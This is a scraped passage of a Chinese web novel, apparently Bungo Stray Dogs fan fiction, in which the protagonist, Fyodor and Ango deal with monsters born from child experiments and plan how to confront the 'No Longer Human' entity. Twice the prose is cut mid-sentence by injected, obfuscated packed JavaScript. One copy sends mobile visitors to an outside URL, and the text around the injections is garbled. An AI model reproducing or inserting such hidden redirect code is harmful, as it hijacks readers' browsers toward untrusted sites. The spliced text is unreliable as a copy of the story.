夏章雾回答。他走入怪物半朽半腐的庞大身体枝系当中,踩着它柔软的肢体向深处走去。 这个可悲的生物已经没有办法阻拦他们了。它之所以还能在这里苟延残喘,只是因为外面的大门拦住了另一批怪物而已。 坂口安吾咬了下嘴唇,跟在他后面。 他默默地想着自己之前读取来的记忆——明明它们在成为 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坂口安吾抬头看着这个瘫在肉堆上的器官,不由自主地想到了自己看到的那些记忆。 在那些不同人的记忆中,在那些断断续续、模糊不清的记忆中,他们在变成这副模样前,似乎都在想着相同的事情——他们是为了那件事自愿选择变成怪物的。 “你们的愿望是什么?” 坂口安吾喃喃地问道。 他的手掌伸出,指尖碰到了颤抖的肌肉和脑组织。 异能没有反馈——似乎即使身体许多部位都已经腐败了,它也没有真正意义上的死去,而是依旧以可怕的决心继续努力存在于世界上。 夏章雾静静地看着这一幕。 他没有急着将破坏这个器官,而是突然问了作者一个问题。 “我能实现它们的愿望吗?”他问。 “啊?”作者被问得一愣,虚空中传来了大概是抓头发的声音,“可以倒是可以,但这种剧情写起来很麻烦耶。” “哎,算啦。谁叫你是我的主角呢?” 不过它很快就释怀了,重新变得笑嘻嘻的:“只要你下次不给我填麻烦就行。等这次的事件结束,我们就去做吧。希望读者能够接受这个和主线剧情无关的安排……” 夏章雾安静地听着作者的喋喋不休,随后拿出左轮手枪,对准中枢器官所在的位置。他望向坂口安吾,示意对方捂住耳朵。 “我们会完成你们所有人的愿望。” 夏章雾闭上眼睛。 他低声地说:“以人类的名义。” 鼓噪不休的次声波停下了。 结束它的是一声枪响。已经发臭的血液和脑组织液溅在夏章雾的衣服上,坂口安吾也不可避免地被沾了一身。 硝烟味弥漫开来,和浓郁的血腥味、腐烂的尸体气味混合。坂口安吾被其中的味道呛得咳嗽了两声,然后抓住夏章雾的衣袖,用坚定的目光看着大人的眼睛。 “我要看看他们的过去。” 他说:“他们肯定在记忆里留下了什么。我要替他们记住这些东西。” 所有的死者对于生者而言,都是个再也没有办法解开的谜。他们未曾说出口的遗憾,未曾表达过的渴望,都随着他们一同埋葬。 只有坂口安吾才能做到解开这样的谜团——只有“堕落论”才能做到。 “如果做好了准备,那就去做吧。” 夏章雾沉默了一瞬。他这样回答,然后走到俄罗斯人身边。 这团物质是由几十个人构成的。每个“大脑”能够控制的不过是其中的一部分。他们还需要一段时间才能正式解决这个巨大的缝合物。 所幸,今晚的夜还很长。 “我以为您至少会尝试阻拦他一下。” 在他们解决了另一个中枢器官后,用手帕擦着猎刀血迹的费奥多尔突然说道。 “拦不住的。” 夏章雾很是直接地回答:“我看出来了,什么样的异能者就有什么样的异能。有这种异能的家伙这辈子就完了。他注定要去选择记录和背负别人的一生。” “听起来比您要幸运一点。” 俄罗斯人这么评价。 “……谢谢夸奖。” 夏章雾礼貌地说:“您能闭嘴吗?” 15.怪物领域大神! 夏章雾很希望某位可恶的俄罗斯人说这话的意思是在开玩笑。甚至有那么一会儿,他都已经成功说服自己了。 但作者还是冷酷无情地打破了他的幻想。 “你想多了。”它说,“我可以发誓,他的这句话是真心的。” 夏章雾:“……” 没法继续自欺欺人的夏先生选择恶狠狠地瞪费奥多尔一眼。对方很坦然地接受了这道目光,脸上甚至还带着微笑。 “他是怎么做到活到现在都没有被人打死的?” 夏章雾幽幽地盯了半晌,最后向作者问道。 是啊,为什么呢? 作者的嘴角抽了抽:这个问题实在太精髓了,精髓到它都没法正面回答。 “你不如好好想想,你是怎么做到活这么大都没被人打死的。”它无比恳切地开口,“孩子,是杀人犯法的现代社会救了你。” 比起费奥多尔,像你这种说话不是施加嘲讽,就是在揭人伤疤和揭人老底的家伙,能活到这么大才是真的奇迹。 “怎么可能,我从小到大都是人见人爱。” 夏章雾鄙夷地眯起眼睛,表示画外音全是在胡扯:“否则你以为我是怎么和钟塔侍从的讨厌鬼混到一起的?当然是靠我的人格魅力!” “?”对方缓缓打出一个问号,“能和钟塔侍从混到一起就说明你很有问题了吧!” 它义正辞严地反问道:“你确定你们几个不是物以类聚、蛇鼠一窝、狐群狗党、沆瀣一气、同流合污、一丘之貉、狼狈为奸?” “我猜你说这段话时在查成语字典。” 夏章雾突然非常敏锐地说。 作者默默地关掉了手机后台网站。 “闭嘴。”它说。 通过攻击他人,成功避开了一次针对自己的人生攻击的夏教授耸了耸肩。 他把刚刚打开的笔记本揣回怀里,拔起插入最后一个中枢控制器官的猎刀,脸上重新有了笑容——那是从作者脸上转移来的。 “要是晚来几天,它们应该也会自己饿死。” 费奥多尔打量着这些尸体:“这里的电源应该在很早之前就切断了。” “能看得出来。” 夏章雾扫视着地面上已经没有声息的烂肉:“大概断电好几天了。否则也不至于到人相食的地步。” 费奥多尔眨了眨眼睛。 “看来您已经发现什么了。” 他说。 “一些大致的猜想。” 夏章雾随口说着:“还记得我之前说的寻水兽吗?当时我只见过一种人类转化而成的怪物,有关寻水兽的联想也只是猜测。但昨天,我在警局里问江户川借了了一批案件有关的资料……” 他停顿了一下,继续说: “和我想的一样。人变成的怪物具有各自神话学的原型。这些原型也影响了它们身为怪物时的行为逻辑。我想,这也大概和它们选择变成怪物的原因有关。而这里的两种怪物,如果没猜错的话……” “温迪戈。”费奥多尔轻声说道。 “啊,是的。如果坂口安吾的描述无错,研究员变成的怪物很有可能是温迪戈。印第安人传说中的食人怪物。有鹿角的那个,不过这里的怪物角不是很长,最后就成了三角头。” 夏章雾摆了摆手——这倒不怎么难猜,温迪戈作为怪物也十分有名,而且吞食同类的特征过于显著了:“按照这个猜测来看,它们之所以选择堕落为怪物,是因为停电带来的饥饿。” 所以停电的时间绝对不短。 虽然夏章雾怀疑这个研究所里的人根本没有什么底线,但就算不考虑道德问题,吃自己的同类也会是最坏的选择。 毕竟作为一种有智慧的大型动物,人类还是很难杀的。 “我好奇的是另外一点。” 费奥多尔看着这里的东西:“这里的孩子变成的怪物是什么?” “我不知道啊。” 夏章雾的回答非常爽朗:“不过很有可能是阿兹特克神话里的左蜂鸟。我不是专门做这方面研究的,所以只能猜个大概。” 费奥多尔扬了扬眉。 这个他也只是略知一二,在夏章雾给出答案后才回忆起来:“在阿兹特克神话当中,被俘虏后死去的人灵魂将归于左蜂鸟。他们有时会以蝴蝶和蜂鸟的姿态重返人间。” “和现在的场景很像,对吧?” 夏章雾回答。 不管是被俘虏的人,还是蝴蝶或者蜂鸟,亦或是“重返人间”,都能和目前发生的一切对应。 他抬眸望向坂口安吾的方向,那片有着手电筒光芒照耀的区域,突然换了个话题:“安吾那孩子现在应该已经知道他们的心愿了。” 他想到了刚刚从笔记本里的内容。 嗯,当然不是那些嚷嚷着他和费xxx谈恋爱的内容。而是读者非常郑重的提醒。 「……不如说你该考虑一下面对了上层黑暗的安吾很大可能无法回到他原本的命运中去,但他要以个人的身份追逐正义的话那些背景实际上是非常有帮助的,现在他恐怕要习惯孤身作死之后会有救人的侦探搭档出现了。」 夏章雾叹了口气。 的确,按照目前的情况,坂口安吾大概率是没有办法回归到正常的生活了。 因为自己的默许,在这个故事里,他的命运已经发生了改变。所以他这个倒霉先知必须要对改变的命运负起责任才行。 托付给江户川吗? 不行,他们一家都是没有什么武力值但又有充沛好奇心的家伙,要是聚在一起扒拉出了什么惊天秘密,那就真的完了。 但在日本,他也没有别的可以托付的人。 所以只有一个答案了吧。 “我打算带那孩子回伦敦。” 夏章雾以下定决心的语气说。 费奥多尔的视线慢慢地挪了过来。 “哦?”他微笑着,“您想养孩子了?” 夏章雾默默后退一步。 “呃,我只是要对他负责?” 他试探性地回答。 话说回来,这种周围环境仿佛突然变得尴尬起来的感觉到底是怎么回事?感觉就像是自己做出了什么很对不起人的事一样…… “我没有反对的意思。” 俄罗斯人很快就挪开了视线:“您当然可以这么做。也不需要向我解释。” 夏章雾:“呃,那好?” 虽然对方已经不再看自己了,但怎么感觉气氛更尴尬了些。 坂口安吾不知道外面自己引发的小麻烦。 他只是在大段大段扑面而来的记忆当中剧烈地咳嗽着,身体弯曲,宛若溺水之人那样地大口呼吸着充满血腥味的空气。 一段段的记忆就像是海潮。里面的每一滴水都是让人无法言语的悲伤。 “已经到43号吗?” 在纷至沓来的记忆当中,有人这么说。 “还有其他的项目要进行,而且最近用掉的素材太多了。”另一个人平静地回答。 “哦,那就这个吧。” 最先出声的人似乎也只是随口一问,很快就接受了这样的安排:“先通电十秒再说。” 就在这句话说出口后,这段记忆便消失了。 和之前许许多多的内容一样,没有后续。 记忆的主人似乎已经把这些与痛苦相联系的过往远远抛开。它们都不重要了,真正具有意义的东西在更遥远的地方。 坂口安吾在记忆洪流当中尽可能地睁大眼睛,看着无数断裂的记忆如同重新奔赴人世的蜂鸟,朝着更加靠近“现在”的某个时间点涌去。 直到记忆骤然被笼罩在一片黑暗里,所有的一切才突然放缓,一段稳定的记忆到这里才出现:更加清晰的悲伤扑面而来。 坂口安吾只感觉到了一只不安的动物。这只动物无措地睁大双眼,茫然地依靠着自己同伴们的身躯,在黑暗当中本能地感到饥饿,但又不知道到底如何填饱自己。 这个孩子从未遭遇到过如此缓慢而又迟钝的痛苦,以至于都不明白它该归类于伤害还是恩赐。她把自己的脸靠在同伴们的怀中,她的怀里拥抱着别人伤痕累累的躯体。 他们互相依偎,在寒冷和饥饿中瑟瑟发抖地亲吻着彼此的脸颊和眼睛,从别人干裂的唇角和肌肤的触碰中获得仅剩的安慰。 黑暗无处不在,但没有给他们带来比迷茫更多的东西。在这个突然发生了变化的世界里,他们抱着彼此,反而得到了前所未有的安全感。 带走同伴的人不见了,带来痛苦的人不见了,一切美好到他们都不曾想象过。甚至就连腹中钝刀子割肉般的痛苦,他们都感到受宠若惊。 “谢谢你,52号。” 记忆的主人用游丝般的气音在另外一个孩子的耳边说:“是你带来了黑暗。” “真好。”另一个孩子说,他虚弱的声音掩盖不住渴望,“52号,等这里重新亮起来后,你能用你的能力,帮我们把黑暗再带回来吗?” 如果这些平均年龄只有七八岁大的孩子中也会诞生宗教,第一个得到他们歌颂的必然是有关黑暗的神明。52号会成为最受爱戴的教宗。 但现实没有如果。坂口安吾感觉到记忆主人所抱住的身躯冰冷得可怕:52号很有可能在所有故事发生前就死去了。 没有回答,一片安静。于是孩子们再度沉默,直到记忆的主人被什么东西吸引了注意力,目不转睛地看去。 黑暗。 覆盖每个死角的黑暗当中,突然出现了两只苍白的圆孔。 很快,黑暗开始蠕动。 它拉长、膨大、分裂,然后缓缓爬上尸体的身躯。直到这一刻,人类拙劣的感官才分辨出那并非是黑暗,而是某种颜色与黑暗一般暗沉的生物,那对苍白的孔洞则是它的眼睛。 然而这就是全部:没有图案,没有细节。 除了多了对“眼睛”,这个漆黑的生物如影子般只有轮廓。它的轮廓像猫,同样有着流线型的修长身躯和面条般的长尾,大概是头颅的圆形部位有着两只三角形的凸起。 坂口安吾见过这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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因为——怪物口中的皆是谎言。 “穗波”抱紧了自己的同伴们。这群小兽在黑暗里蜷缩成团,把自己隐藏起来,只有清澈的眼睛依旧怯生生地注视黑暗、怪物和注定到来的死亡。 他们似乎突然在黑暗中明悟了某些东西。 “你能——” 她仿佛在用最后的力气开口,她的声音很细很细,说话如同一次精疲力尽的喘息,但里面的渴望却清晰无比:“带我们回那儿吗?” 怪物以苍白的视线注视着孩子们。 一个声音突然在坂口安吾的耳边响起。那并非开口说话的声音,而是某种思绪,某种念头。它们和悲伤的情绪一起,在记忆当中徘徊。 那个声音说: 不管怎样都好,就算是梦也好。如果真的存在的话,我也想要看看那么幸福的地方。 那个声音说: 我能回家吗,我想回家,带我回去吧…… 如果这些平均年龄只有七八岁大的孩子中也会诞生宗教,那么他们的天堂、他们的耶路撒冷、他们的奶与蜜之地一定是家乡。 但现实没有如果。 “那么,和我走吧。” 怪物只是温柔地开口说:“抛下作为人类的身份,变成会飞的生物与我走吧。” 这段记忆到此为止。 在下一段模糊的记忆中,坂口安吾看到了他在踏入走廊时便已看到的场景:许许多多的畸形胎瘤彼此连接着,用低沉的次声波交流着。 它们打开自己的身躯,制造出一个接着一个怪异的有翼生物,再让它们成群结队地起飞,成群结队地起飞…… 它们共享着同一个意识,它们怀揣着同样懵懂而又满怀期待的愿望。那些被制造出的可悲有翼生物替它们朝家乡的方向飞去。 作为它身躯的延伸,如果不出意外的话,它们将替这些曾经是孩子的生物回家,替它们回到那个有着爱、幸福与温暖的地方,那个没有痛苦和饥饿的所在。 但现实没有如果。 这段漫长的记忆以接连不断的死亡作为终结。坂口安吾缩回手指,有些怔愣地看着面前被手电筒光芒照亮的一小块区域。 “穗波?”他说出了这个被编造的名字。 理所当然的,没有回应。 只有打了个哈欠的夏章雾回答了他。 “结束了?”他说,“你要是不想看看这里其他孩子的记忆,那我们就去配电室。看看到底是谁把这里的电力玩崩溃的。” “……” 坂口安吾花了点时间才找回自己的声音,重新回到和人类对话的正常节奏:“我看到了,破坏这里电力布局的是一个孩子。应该是这里的人拿他做实验时,他的异能出现了失控。” 他没说53号,因为他觉得这个名字不像是用来称呼一个人类的。 夏章雾沉默了片刻,随后看向费奥多尔。 “这样啊。”他回答道,“那我们走吧。” 16.然而主角已经看穿了一切 青森县,警视厅,下午3:00。 江户川警官终于从自己繁忙的事务中抽出了时间,来开一个简短的、有关人间失格的小会。 参与者有江户川蓝峰自己,某位自称是俄罗斯侦探的费奥多尔,某位自称是侦探助手但实乃先知的夏章雾,以及作为重要情报提供者的初中生坂口安吾。 ——当然,还有旁听的作者。以及一系列正在看这段文字的读者。 总之是非常古怪的组合。 其中,夏章雾先生正在面不改色地偷吃桌子中央果盘里的水果。其余人则是在尽量假装自己看不到他偷吃果盘的水果。 作者则是正在网站上搜索“春天有什么可以吃的水果”。很快,它得出了一个还算不错的结论。 “青枣好吃吗?”它问。 “挺不错的。”夏章雾把青枣塞到嘴里,“咔嚓咔嚓”地吃着,给出了认真的评价,“很脆,很甜,很完美。” 作者默默地打开了购物软件,开始思考自己要不要买一斤青枣尝尝:它上一次吃青枣还是前些年蹭自己舍友的。 江户川蓝峰突然咳嗽了一声。 他觉得自己不能再视而不见了:某个家伙偷吃的态度未免也太明目张胆了些。最重要的是,有这么一个不断偷吃水果的家伙在,会议的气氛根本严肃不起来。 “接下来,我们要讨论人间失格的具体存在形式问题。”他说。 “哦,那你说。” 夏章雾脸颊鼓鼓、含糊不清地说道——他刚刚往嘴里又塞了颗草莓。 日本的水果是真的贵。他这次旅行根本就没有去逛水果摊的想法,但既然这里都摆了那么多的水果,不吃白不吃。而且味道真挺不错的。 江户川蓝峰又咳嗽了一声。费奥多尔默默地把整个果盘都挪了开来,然后塞到了坂口安吾手里。 累得趴在桌上的坂口安吾望向俄罗斯人,有些迷茫地指了指自己,眼神中的含义十分明显: 我保管这玩意,真的假的? 费奥多尔淡定地点点头——没事,那家伙不敢随便抢小孩零食的。因为他害怕小孩子直接哭给他看。 坂口安吾一想也是,于是毫无心理负担地拿走了果盘上面最后的几颗果子,开始往自己嘴里塞。 夏章雾看着他们流畅的一系列动作,表情快速地从目瞪口呆变为了悲愤不已。他幽怨地盯着坂口安吾的嘴,似乎正在思考该怎么拯救自己的水果,但很快就从心地放弃了。 就像费奥多尔评价的那样,他真的怕小孩哭。 “关于人间失格的事情……” 夏章雾最后还是苦大仇深地收回了视线,闷闷不乐地接着江户川蓝峰的话往下说:“我以为之前安吾说的情报已经很清楚了。” 在坂口安吾本人发出了过激级别的“我要去看看那些尸体”的要求后,他们回到警局的第一件事就是把这个初中生丢给了法医。 虽然并不清楚坂口安吾口中“本来无法对尸体起作用”的异能到底是怎么作用于怪物的遗体的,但这种事情也不需要搞得太明白。 能用就行。 于是忙了整个晚上的坂口安吾先生又头昏眼花地自愿与一堆碎尸相处了几小时。等到中午,他才囫囵吞枣地吃了顿迟来的午饭,就被路过的江户川蓝峰急匆匆地拽了上来,做了整整一个小时的笔录。 笔录的内容很详细,验证了夏章雾的“神话原型理论”,而且可以说是情报上的巨大突破:在此之前,人间失格把人类变为怪物的过程都没有任何目击和记录。 对此,江户川蓝峰甚至提出了“人间失格造成的变化不会在有观察者的情况下出现”的猜想。从这个角度来看,坂口安吾大概是第一个……不,第二个看到人间失格后还活着的人类。 第一个是太宰治。 想到这里,夏章雾瞥了眼江户川蓝峰。 他到警局的时候专门找这位警官说了声,让他帮忙找找,也不知道调查结果怎么样了。 “但情报本身就有值得讨论的地方。” 眼看着会议终于重新回到了正题,江户川先生松了口气,赶紧补充道:“尤其是坂口安吾先生发现,人间失格的黑猫形态只出现在了受害者的记忆里。” “是的。” 坂口安吾把水果咽下去,赶紧接过话茬:“我也对受害者的随身物品使用了异能,但都没有看到那个……很像是黑猫的怪物。没有例外,每个都是这样。” 在怎么描述人间失格上,他犹豫了一下,最后也没办法直接说那就是“黑猫”。 “最大的可能是,人间失格的这副模样并不存在于物质宇宙。受害者的随身物品对此没有任何记忆就是最好的证据。” 费奥多尔并没有表现出惊讶的样子,他翻了翻手头的笔录复印件,语气平淡地说出最有可能的情形:“它只是以某种形式出现在了受害者的记忆里。” 听起来很荒谬。 但夏章雾看着自己面前摊开的笔记本,若有所思地把它翻到了最前面的部分。 就在发生遍及青森的怪鸟事件前,他向读者们询问了一个问题。当时给出最详细答案的就是不靠谱的同时意外可靠的爱丽丝。 里面有个部分,他很在意。 「桉莉斯: 看来读者意念想要送的东西无法跨次元壁呢,场景大概如下:(省略扭曲版) 时间:并不是普通人口中的好天气,人们表示印象里是天空是灰白色的,庭院中走路时无法看见自己的影子。但是报告里显示是四月罕见的大晴天,万里无云。 ……」 就是这个。 “黑猫”出现在太宰治面前的那一天密布着阴云,同时在所有人记忆里也都是阴天。然而气象记录却显示当日的天气是晴。 如果气象局的记录没有出错,“黑猫”也的确出现在阴天,读者也没有合伙骗他的话…… “我也这么认为。人间失格要么是存在于记忆当中,要么能够有限地影响别人的记忆。” 夏章雾认真地开口。 这两者的运行机制截然不同,但对他们而言,结果是一样的。 “这么说,引蛇出洞的方法很难起效了。” 江户川蓝峰皱了下眉,也不知道是该庆幸不用牺牲无辜的人,还是该为接下来的计划的执行担忧:“但假如接触是杀死它的必要条件,我们要怎么接触别人记忆中的一个影子?” 坂口安吾左看右看,想要说什么。但很快就被看出他心思的费奥多尔给否决了。 “没有用的。” 他对坂口安吾笑了笑:“您的异能只对受害者的尸体起作用。到那个时候,它早就从受害者的记忆中离开了。” 也是哦。 坂口安吾有些遗憾地收起了自己的想法:没办法,他异能的限制确实很麻烦。 “催眠类的异能能够起到效果吗?我的意思是,让人间失格把我误判为它的狩猎对象,从而主动出现在我的记忆里。” 夏章雾揉了揉太阳穴,突然开口道:“接触它的事情最好还是交给我。毕竟我还没有到命中注定要死的时候……” “不行!我才不同意这么荒谬的计划!” 别人都还没来得及说话,搞明白他想法的画外音就在夏章雾的耳边发出了愤怒的尖锐爆鸣,让主角先生都下意识地“噫”了声。 “开什么玩笑!你这家伙,仗着自己的主角光环作弊也要有个限度!”它气乎乎地叫嚷着,“反正我这本书还没开始收费,你信不信我把你写死然后直接烂尾啊!” 夏章雾捂住耳朵,死鱼眼:“……啧。” 看来没办法走邪道速通了。 他遗憾放弃自己的整活计划,低头看看读者们有没有什么看法。 或许是最近经历的事情实在是有点让人意志消沉。读者们的发言也变得少了很多,讲笑话的成分也少了下来,还有人在十分可怜地倒苦水,似乎在表达对原著的不满。 夏章雾看着其中的一篇长篇大论,稍稍同情了一下那位ID是“都给我磕响深响”的读者。 还有些读者则是似乎受到了“坂口安吾”出现的影响,在叽叽喳喳地在评论区表示着希望夏章雾把一票子日本未成年人拐走的愿望……喂喂喂,只带走一个还好,带走那么多的话他都会感觉自己是超大的人贩子首领啊! 「Audience: 等等,等等,虽然故事中并未表达安吾的家庭背景,但直接带回去吗?!这是拐孩子了吧!」 你们看,就连曾经的第一反应是“杀杀杀”的观众先生都感觉到了离谱啊! 不过话说回来,和小孩子父母沟通也确实是一个问题。嗯,还是把这件事告诉安吾,让事件结束后他去和父母聊聊吧。 如果他父母不允许他离开日本,那夏章雾就要去问问某位俄罗斯先生,到底有没有在日本留下什么可靠的人脉了。 这样想着,夏章雾继续看着读者们最近这几天的奇思妙想和造谣生非。 有人在讨论坂口安吾的异能和什么样的异能能达成最好的组合效果——果然,一看就知道是飘然如烟聊的话题。 还有人在兴致勃勃地说着文学异能体的利用计划——这是永远处于靠谱和不靠谱间的傲娇爱丽丝。不过话说回来,这根本不可能做到吧。 如果有一种东西对人类光是存在就是恶意,不管如何也只能消灭。任何妄图利用难以掌控的力量的行为往往都是悲剧的前兆。 还有人在发表吐槽和进行庆贺——这位是ID是“七”的读者。也有一些读者在此之外还表示了小小的伤感。 夏章雾十分大度且不计前嫌地挨个在心里揉搓了过去。 ——可恶的作者啊,竟然写死了一群无辜的小孩子用来刀读者,实在是太坏太恶劣了。 “不准骂我。”作者发出警觉的声音,“这是为了剧情推进和氛围渲染而做出的必要牺牲。我可没有存心刀人的意图,为悲剧而悲剧简直是最没有悲剧美学的行为。而且死背景板人物根本不算刀子,死关键人物才算。” 夏章雾眯起眼睛。 “呵。”他说。 “好吧好吧,只死一个!接下来再死一个人我就收手!” 作者大概心虚了一秒,但很快就又气哼哼地抱怨道:“真是的。顺便我还能保证你面对的下一个文学负面体绝不会杀人。这下你满意了吧?” “成功让我对未来更不安了才对。” 夏章雾面无表情地回答。 鬼知道那个不杀人的文学负面体会对人类展现出什么样的恶意。但他并没有多想,而是把注意力再次集中到了读者评论上。 「巫渺: 黑猫,人间失格?」 又一次提到了人间失格是黑猫。所有人似乎都有这个统一的认知:是因为脑袋上两只的三角形和长尾吗? 夏章雾皱了下眉。他其实对人间失格的外表是否真的是黑猫很怀疑。 正如手影可以模仿出种种动物的形象,影子般漆黑的人间失格自然也可以通过改变自己的姿势来更换人们对它的初始印象。 所以,有一点他必须确定。 「你们见到的人间失格,它在出现后有没有进行移动?你们是不是根本没有看到过它改变整体姿态?它行走过、转身过、跳跃过吗?」 夏章雾刚写下这句话,就听到了来自某位俄罗斯侦探的声音。 “您一定要亲自见人间失格吗?” 他问。 “嗯。”夏章雾果断地点头,“我觉得我有必要当面揍它一顿。” 有时行动的理由就这么朴实无华,费奥多尔也点点头,表示理解。 “其实没有必 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15149940|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要这么麻烦。”他说,“引蛇出洞的计划保留,只是需要加上几分执行程序而已。” 夏章雾愣了一下。 “该不会那条蛇能解决这方面的问题吧?”他问,心里却想着等会儿见到那条喜欢胡言乱语的蛇后,得先把它当绳子甩一分钟。 首先,他真的不记仇。 其次,难道没人觉得这样甩一条蛇真的很好玩吗? 其余两个人一头雾水地看着他们打哑谜。 “不,我的意思是。”费奥多尔脸上带着浅浅的笑容,他摇了摇头,“威胁人间失格,让它不得不出现在我们面前。” 夏章雾很快就反应了过来。 威胁一个文学负面体,听上去很难实现,实际上也很难实现。但确实是有方法的。 ——因为它们存在着不折不扣的弱点。 文学负面体无论外表多么拟人,天性中就流淌着对人类这一物种的恶意。 那么,当人间失格这个文学负面体,知道了在事情变得不可收拾后,人类会选择把整个青森毁灭,顺便也将它的所有潜在感染体也给毁灭的事情,会发生什么呢? 它会很高兴?为人类的自相残杀拍手叫好? 不,不可能。 因为如果没有这档子事,一年后它的力量甚至足以摧毁整个人类社会。所以人类毁灭青森对它来说非常划不来,它绝不会乐于见到这种事的发生。 这样,得出结论就很简单了:它会尝试阻止导弹的发射。 它将收敛自己伤害他人的冲动,它会谨慎地潜伏起来,它会把一切维持在微妙的和平状态,让人类怀有“此事还能解决”的希望。 在确定自身安全的前提下,它甚至会选择答应人类的要求。 比如……见想杀它的人一面。 “很幸运的是,从坂口先生的情报来看,人间失格具有不低的智慧。”费奥多尔微笑着说,“拥有智慧就明白利弊,明白利弊就会做出权衡。” 所以只要在天平一端摆上它们不可能接受的条件,人间失格也有“配合他们”的可能。虽然这种配合本身就像是在万丈深渊走钢丝,但确确实实可以达成微妙的平衡。 江户川蓝峰往椅子背上一靠,他的表情有些微妙:“所以,你打算拿整个青森县来威胁它?” “咳咳咳!”夏章雾被呛了一口。 他抬起头,有些古怪地扫了这位警官一眼:虽然的确是打算这么干,但这话听上去怎么就那么奇怪呢? 似乎在不经意间,他们几个人突然变成了反派一样的画风…… “像啊,很像啊。” 他微微侧目,跟画外音吐槽道:“感觉下一秒就要有个年轻人跳出来,喊着友谊啊羁绊啊,把我们给打至跪地,抓回去用爱感化。” 考虑到这里是日本,既视感更强烈了。 “更强烈的明明是刻板印象吧!” 作者发出了更加炉火纯青的吐槽声:“而且是什么样的爱才能够感化你们这几个混蛋——对不起,我没有在说你们的意思,江户川警官和安吾先生。” 它诚恳地道歉了。 然而考虑到江户川蓝峰与坂口安吾听不到它说的话,此话的作用只是让夏章雾感受到了深深的人身攻击。 所以为什么他突然沦落到了和那个俄罗斯混蛋坐一桌的境地?他的道德素质难道真的低下到了这个程度吗! “最合适的诱饵是未成年人。他们的情绪波动更大,很容易被欺骗,也更容易吸引人间失格的目光。我们可以先把炸毁青森县的计划告诉他,再由他转交给人间失格。” 费奥多尔的声音十分淡定,就像是他听不懂夏章雾对画外音说的悄悄话似的:“这个计划是我提出的,就由我来规划细节吧。” “?”夏章雾感觉自己脑袋上冒出了问号。 作者你看看,你看看!这个缺德的诱饵人选他就想不出来!都说了,他的道德水平怎么可能会和这家伙一个水平线? 任何把他和对方相提并论的说法都是纯粹的污蔑,是诽谤,是人身攻击! 坂口安吾默默地拽了拽夏章雾的袖口。 “这个他提出的计划。”初中生谨慎地问道,“到底是指炸毁青森县还是引蛇出洞?” 夏章雾暂时停止了控诉。 他低下头,怜悯地看着这个终于发现了俄罗斯混蛋真面目的孩子。 “有没有可能,都是?”他说。 “死刑犯不行吗?” 江户川蓝峰显然也对这里突然下降的平均道德水平感到惨不忍睹,瞬间提出了异议。 “有些麻烦。”俄罗斯人认真地回答,“因为没有办法看到交涉内容,我们必须要排除诱饵与人间失格联手的可能。而死刑犯大多数是一些出卖人类也在所不惜的角色——” “咳咳咳!” 知道话题又要来到未成年诱饵上的夏章雾再次咳嗽起来,他站起身,无比认真地说道:“考虑到接下来还要详细规划,今天也没法立刻执行,这件事情不如明天再聊。” 再聊下去,这个话题就有点不太适合在小孩子的面前说了。 “而且我在刚刚也对杀死人间失格的方法有了推断,不过还需要时间确认——江户川先生,我让你找的人你找到了吗?走,我们去旁边聊。” 他转过头,也没有管警官先生惊讶的表情,直接当机立断地一伸手,把江户川蓝峰从座位上拖了下来,光速结束了该次会议。 “你真知道了?杀死它的方法。” 被拽到另一个房间后,江户川蓝峰才惊诧地开口问道。 “嗯,有猜想。但也只是猜想,而且里面存在着部分说不通的地方。我需要真真正正地见到人间失格一眼才行。” 夏章雾沉吟了片刻,然后果断地说道:“之前我找的太宰治的情报呢?有可靠消息吗?” 17.你还能比老祖宗聪明? 江户川蓝峰给出的太宰治资料很简单。 11岁,男性,上小学。小学休假中。父母均为高中教师。父亲目前因胰腺癌终末期而住院,目前无药可治,只能保守治疗,缓解疼痛。 夏章雾瞅了眼家庭住址,然后就欣慰地拍拍江户川蓝峰的肩膀,让他工作去了。 然而某位刑警完全没有这么好打发。 “你应该不是想让他当诱饵吧?” 他瞅着夏章雾,警惕地就像是在面对一个杀死两位数人类后还在外逃逸的连环杀人犯:“一个十一岁的孩子,无论怎么想都太……” 夏章雾震惊地看着他,感到自己的道德水准遭到了巨大的质疑和挑战。 “你怎么会这么想?” 他理直气壮地回答,然后相当果断地转移了对方的注意力:“而且我之前就想问了,今天为什么外面那么热闹?不是说要戒严吗?” 现在的警察局外面拥挤着一大堆人,而且全都摆出了气势汹汹来者不善的样子,简直能让人感到一头雾水。 “这个吗?因为市民在举行游行抗议。” 江户川先生果然被转移了目标:“昨天晚上的那件事闹得很多,连直升机都出动了。这些人本来神经就很紧张……” “厉害。” 夏章雾淡定地说:“你们的自由程度只比伦敦的那群人要差一点。” 说完这句话,他就趁机溜了出去,完全不想听江户川蓝峰对日本国民性的拙劣解释,也不想和对方解释自己为什么找太宰治。 “毕竟那孩子的异能名解释起来太麻烦了。” 等到偷溜成功后,夏章雾才对作者无奈地吐槽:“一个和‘人间失格’有密切关系的孩子,同时也是异能名叫人间失格的孩子,呵。” 日本政府要是关注到了太宰治,会发生什么还真的不好说。两者单独拿出来看还可以勉强认为是巧合,要是都发生在同一个人身上…… 别说日本政府了,夏章雾感觉钟塔侍从都会很想把太宰治捉去做实验的。 画外音“嘎巴嘎巴”地吃着零食,用含糊不清的声音说:“看不出来,你还挺贴心的。” “我怎么觉得你的语气像是在骂人。” 夏章雾没好气地回了一句,然后掏出怀里的笔记本,毫不犹豫地翻开。 今天的读者突然讨论起了有关人间失格的事情。其中很多人都在叽叽喳喳地说着自己各式各样的猜测,表现得十分热情。也有搬运前文剧情的读者,看上去大家都十分努力。 夏章雾有那么一瞬间都受宠若惊了。 “等等,他们怎么热情那么大?”他问。 作者沉默了片刻: 